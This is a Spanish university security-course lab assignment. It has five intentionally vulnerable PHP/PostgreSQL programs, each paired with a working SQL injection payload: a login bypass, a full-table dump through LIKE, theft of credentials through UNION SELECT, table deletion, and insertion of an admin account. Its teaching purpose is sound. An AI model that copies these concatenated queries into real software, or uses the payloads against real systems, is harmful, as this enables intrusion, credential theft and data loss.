

UNIVERSIDAD AUTÓNOMA TOMÁS FRÍAS

Carrera de Ingeniería Informática

INF781 — Seguridad de Software

PRÁCTICA 2

Vulnerabilidades de SQL Injection en PHP

Stack tecnológico: PHP puro + PostgreSQL

5 ejercicios — Documento con código + capturas

Gestión 20256

Información General

Materia	INF781 — Seguridad de Software
Tipo de actividad	Práctica
Tema	Vulnerabilidades de SQL Injection
Tecnología	PHP puro (sin framework) + PostgreSQL
Entregable	Documento .docx con las capturas de pantalla solicitadas
Puntaje total	100 puntos

Objetivo

Que el estudiante comprenda de manera práctica cómo se producen las vulnerabilidades de inyección SQL (SQL Injection) al construir consultas mediante concatenación directa de datos de entrada del usuario. Para ello, deberá desarrollar 5 programas en PHP puro conectados a PostgreSQL, cada uno intencionalmente vulnerable a un tipo diferente de SQL Injection.

Instrucciones Generales

1. Crear una base de datos PostgreSQL llamada "tarea_sqli" donde se ejecutarán todos los ejercicios.
2. Para cada ejercicio, crear los archivos PHP y HTML indicados. Todos los programas deben ser intencionalmente vulnerables (no usar prepared statements ni sanitizar la entrada).
3. Probar cada inyección en el navegador y capturar evidencia de que la vulnerabilidad funciona.
4. El documento de entrega debe contener, para cada ejercicio: capturas de pantalla demostrando la explotación.

Requisitos Previos

Tener instalado en el equipo: PHP 8.x con la extensión pgsql habilitada, PostgreSQL 14 o superior, y un navegador web. Se recomienda usar el servidor integrado de PHP para las pruebas:

```
php -S localhost:8000
```

1 Ejercicio 1: Login Bypass

Objetivo

Demostrar cómo una consulta SELECT con concatenación directa en la cláusula WHERE permite evadir la autenticación de un formulario de login.

Contexto

Se tiene una tabla "usuarios" con campos id, username y password. El formulario de login recibe usuario y contraseña por POST y los concatena directamente en la consulta SQL.

Script SQL

```
CREATE TABLE usuarios (  
    id SERIAL PRIMARY KEY,  
    username VARCHAR(100) NOT NULL,  
    password VARCHAR(255) NOT NULL  
);  
  
INSERT INTO usuarios (username, password)  
VALUES ('admin', 'secreto123'),  
       ('editor', 'pass456');
```

Formulario HTML

```
<!-- login.html -->  
<form action="login.php" method="POST">  
    <label>Usuario:</label>  
    <input type="text" name="username">  
    <label>Contraseña:</label>  
    <input type="password" name="password">  
    <button type="submit">Iniciar Sesión</button>  
</form>
```

Código PHP Vulnerable

```
<?php  
// login.php - CÓDIGO VULNERABLE  
$host = 'localhost';  
$db = 'tarea_sqli';  
$user = 'postgres';  
$pass = 'postgres';  
  
$conn = pg_connect("host=$host dbname=$db user=$user password=$pass");  
  
$username = $_POST['username'];  
$password = $_POST['password'];  
  
// VULNERABLE: concatenación directa
```

```
$query = "SELECT * FROM usuarios WHERE username = '$username' AND password = '$password'";  
$result = pg_query($conn, $query);  
  
if (pg_num_rows($result) > 0) {  
    echo "Bienvenido, acceso concedido.";  
} else {  
    echo "Credenciales inválidas.";  
}  
?  
>
```

Inyección a Realizar

En el campo de usuario ingresar: ' OR '1'='1' -- En el campo de contraseña ingresar cualquier cosa (por ejemplo: x)

Consulta SQL Resultante

```
SELECT * FROM usuarios  
WHERE username = '' OR '1'='1' --' AND password = 'x'
```

Explicación

La condición OR '1'='1' siempre es verdadera, y el doble guión (--) comenta el resto de la consulta, incluyendo la verificación de contraseña. Esto permite acceder al sistema sin conocer las credenciales reales.

 CAPTURA DE PANTALLA: Demostrar la inyección funcionando

2 Ejercicio 2: Búsqueda de Productos con LIKE

Objetivo

Demostrar cómo una consulta SELECT con LIKE y concatenación directa permite manipular la búsqueda para extraer todos los registros de la tabla.

Contexto

Se tiene una tabla "productos" con campos id, nombre y precio. Un formulario de búsqueda permite filtrar productos por nombre usando LIKE.

Script SQL

```
CREATE TABLE productos (  
    id SERIAL PRIMARY KEY,  
    nombre VARCHAR(200) NOT NULL,  
    precio DECIMAL(10,2) NOT NULL  
);  
  
INSERT INTO productos (nombre, precio) VALUES  
(  
    'Laptop HP', 4500.00),  
    ('Mouse Logitech', 150.00),  
    ('Teclado Mecánico', 350.00),  
    ('Monitor Samsung', 2200.00),  
    ('Auriculares Sony', 800.00);
```

Formulario HTML

```
<!-- buscar.html -->  
<form action="buscar.php" method="GET">  
    <label>Buscar producto:</label>  
    <input type="text" name="q">  
    <button type="submit">Buscar</button>  
</form>
```

Código PHP Vulnerable

```
<?php  
// buscar.php - CÓDIGO VULNERABLE  
$conn = pg_connect("host=localhost dbname=tarea_sqli user=postgres  
password=postgres");  
  
$busqueda = $_GET['q'];  
  
// VULNERABLE: concatenación directa en LIKE  
$query = "SELECT * FROM productos WHERE nombre LIKE '%$busqueda%'";  
$result = pg_query($conn, $query);  
  
echo "<h2>Resultados:</h2>";  
echo "<table border='1'>";
```

```
echo "<tr><th>ID</th><th>Nombre</th><th>Precio</th></tr>";
while ($row = pg_fetch_assoc($result)) {
    echo
    "<tr><td>{$row['id']}</td><td>{$row['nombre']}</td><td>{$row['precio']}</td></tr>"
    ;
}
echo "</table>";
?>
```

Inyección a Realizar

En el campo de búsqueda ingresar: `% OR '1'='1' --`

Consulta SQL Resultante

```
SELECT * FROM productos
WHERE nombre LIKE '%%' OR '1'='1' --%
```

Explicación

Se cierra el patrón LIKE con %, luego se añade OR '1'='1' que siempre es verdadero, y se comenta el resto con --. Esto devuelve todos los productos de la tabla, ignorando cualquier filtro de búsqueda.

 CAPTURA DE PANTALLA: Demostrar la inyección funcionando

3 Ejercicio 3: Detalle por ID con UNION SELECT

Objetivo

Demostrar cómo un parámetro GET sin validar permite usar UNION SELECT para extraer datos de otras tablas, como usuarios y contraseñas.

Contexto

Se tiene una página de detalle de producto que recibe el ID por URL (GET). Además existe la tabla "usuarios" del Ejercicio 1 con datos sensibles.

Script SQL

```
-- Usar las tablas 'productos' y 'usuarios'
-- ya creadas en ejercicios anteriores.
```

Formulario HTML

```
<!-- No hay formulario, se accede por URL -->
<!-- Ejemplo: detalle.php?id=1 -->
```

Código PHP Vulnerable

```
<?php
// detalle.php - CÓDIGO VULNERABLE
$conn = pg_connect("host=localhost dbname=tarea_sqli user=postgres
password=postgres");

$id = $_GET['id'];

// VULNERABLE: concatenación directa sin validar tipo
$query = "SELECT id, nombre, precio FROM productos WHERE id = $id";
$result = pg_query($conn, $query);

echo "<h2>Detalle del Producto</h2>";
echo "<table border='1'>";
echo "<tr><th>ID</th><th>Nombre</th><th>Precio</th></tr>";
while ($row = pg_fetch_assoc($result)) {
    echo
    "<tr><td>{$row['id']}</td><td>{$row['nombre']}</td><td>{$row['precio']}</td></tr>"
    ;
}
echo "</table>";
?>
```

Inyección a Realizar

En la URL del navegador ingresar: detalle.php?id=0 UNION SELECT id, username, password FROM usuarios

Consulta SQL Resultante

```
SELECT id, nombre, precio FROM productos WHERE id = 0  
UNION  
SELECT id, username, password FROM usuarios
```

Explicación

Se usa id=0 para que la primera consulta no devuelva resultados. Luego UNION SELECT extrae los campos id, username y password de la tabla usuarios, mapeados a las mismas 3 columnas. El atacante obtiene todas las credenciales almacenadas en texto plano.

 CAPTURA DE PANTALLA: Demostrar la inyección funcionando

4 Ejercicio 4: Eliminación de Registros con DELETE

Objetivo

Demostrar cómo una inyección en una sentencia DELETE puede eliminar múltiples registros o incluso vaciar una tabla completa.

Contexto

Se tiene un panel de administración con un botón "Eliminar" por cada producto. El ID del producto se envía por POST para ejecutar el DELETE.

Script SQL

```
-- Usar la tabla 'productos' ya creada.  
-- Asegurarse de tener datos de prueba.
```

Formulario HTML

```
<!-- listar.php (fragmento del botón eliminar) -->  
<form action="eliminar.php" method="POST" style="display:inline;">  
  <input type="hidden" name="id" value="<?= $row['id'] ?>">  
  <button type="submit">Eliminar</button>  
</form>
```

Código PHP Vulnerable

```
<?php  
// eliminar.php - CÓDIGO VULNERABLE  
$conn = pg_connect("host=localhost dbname=tarea_sql user=postgres  
password=postgres");  
  
$id = $_POST['id'];  
  
// VULNERABLE: concatenación directa en DELETE  
$query = "DELETE FROM productos WHERE id = $id";  
$result = pg_query($conn, $query);  
  
if ($result) {  
    echo "Producto eliminado correctamente.";  
} else {  
    echo "Error al eliminar.";  
}  
  
// Redirigir al listado  
header('Location: listar.php');  
?>
```

Inyección a Realizar

Modificar el valor del campo oculto (con las herramientas de desarrollo del navegador, pestaña Inspector/Elements) cambiando el value del input hidden de "1" a: 1 OR 1=1

Consulta SQL Resultante

```
DELETE FROM productos WHERE id = 1 OR 1=1
```

Explicación

La condición OR 1=1 siempre es verdadera, por lo que el DELETE afecta a TODAS las filas de la tabla productos, no solo al registro con id=1. El atacante puede vaciar la tabla completa con una sola inyección.

 CAPTURA DE PANTALLA: Demostrar la inyección funcionando

5 Ejercicio 5: Registro de Usuario con INSERT

Objetivo

Demostrar cómo una inyección en una sentencia INSERT INTO permite insertar datos adicionales no autorizados, como un usuario con rol de administrador.

Contexto

Se tiene una tabla "usuarios_app" con campos id, nombre, email, password y rol. Un formulario de registro público permite crear cuentas con rol 'usuario' por defecto.

Script SQL

```
CREATE TABLE usuarios_app (  
    id SERIAL PRIMARY KEY,  
    nombre VARCHAR(100) NOT NULL,  
    email VARCHAR(150) NOT NULL,  
    password VARCHAR(255) NOT NULL,  
    rol VARCHAR(20) DEFAULT 'usuario'  
);  
  
INSERT INTO usuarios_app (nombre, email, password, rol)  
VALUES ('Admin', 'admin@app.com', 'admin123', 'admin');
```

Formulario HTML

```
<!-- registro.html -->  
<form action="registro.php" method="POST">  
    <label>Nombre:</label>  
    <input type="text" name="nombre">  
    <label>Email:</label>  
    <input type="email" name="email">  
    <label>Contraseña:</label>  
    <input type="password" name="password">  
    <button type="submit">Registrarse</button>  
</form>
```

Código PHP Vulnerable

```
<?php  
// registro.php - CÓDIGO VULNERABLE  
$conn = pg_connect("host=localhost dbname=tarea_sqli user=postgres  
password=postgres");  
  
$nombre = $_POST['nombre'];  
$email = $_POST['email'];  
$password = $_POST['password'];  
  
// VULNERABLE: concatenación directa en INSERT  
$query = "INSERT INTO usuarios_app (nombre, email, password, rol) ";
```

```
$query .= "VALUES ('$nombre', '$email', '$password', 'usuario')";  
$result = pg_query($conn, $query);  
  
if ($result) {  
    echo "Registro exitoso.";  
} else {  
    echo "Error en el registro.";  
}  
?  
>
```

Inyección a Realizar

En el campo Email del formulario ingresar: test@hack.com', 'pwd', 'admin'); --

Consulta SQL Resultante

```
INSERT INTO usuarios_app (nombre, email, password, rol)  
VALUES ('Hacker', 'test@hack.com', 'pwd', 'admin'); --, 'pwd123', 'usuario')
```

Explicación

Se cierra el valor del email con una comilla, se completan los campos restantes (password y rol) con valores elegidos por el atacante (incluyendo 'admin' como rol), se cierra la sentencia con); y se comenta el resto con --. El atacante logra insertar un usuario con privilegios de administrador.

 CAPTURA DE PANTALLA: Demostrar la inyección funcionando

Rúbrica de Evaluación

Ejercicio	Criterios de Evaluación	Puntaje
Ejercicio 1: Login Bypass	Script SQL de la tabla, formulario HTML, archivo PHP vulnerable, captura del bypass funcionando.	20
Ejercicio 2: Búsqueda LIKE	Script SQL de la tabla, formulario HTML, archivo PHP vulnerable, captura mostrando todos los registros.	20
Ejercicio 3: UNION SELECT	Reutilización de tablas, archivo PHP vulnerable, captura mostrando datos de la tabla usuarios.	20
Ejercicio 4: DELETE	Archivo PHP vulnerable, captura mostrando la manipulación del campo oculto y la tabla vaciada.	20
Ejercicio 5: INSERT	Script SQL de la tabla, formulario HTML, archivo PHP vulnerable, captura del usuario admin insertado.	20
TOTAL		100

Notas Importantes

Esta tarea tiene fines exclusivamente educativos. Los programas creados son intencionalmente vulnerables y NO deben desplegarse en ningún servidor accesible desde Internet. El objetivo es comprender cómo se producen estas vulnerabilidades para poder prevenirlas en aplicaciones reales.

En clases posteriores se estudiarán las técnicas de mitigación: prepared statements (consultas parametrizadas), validación de tipos, escape de caracteres especiales y uso de ORMs.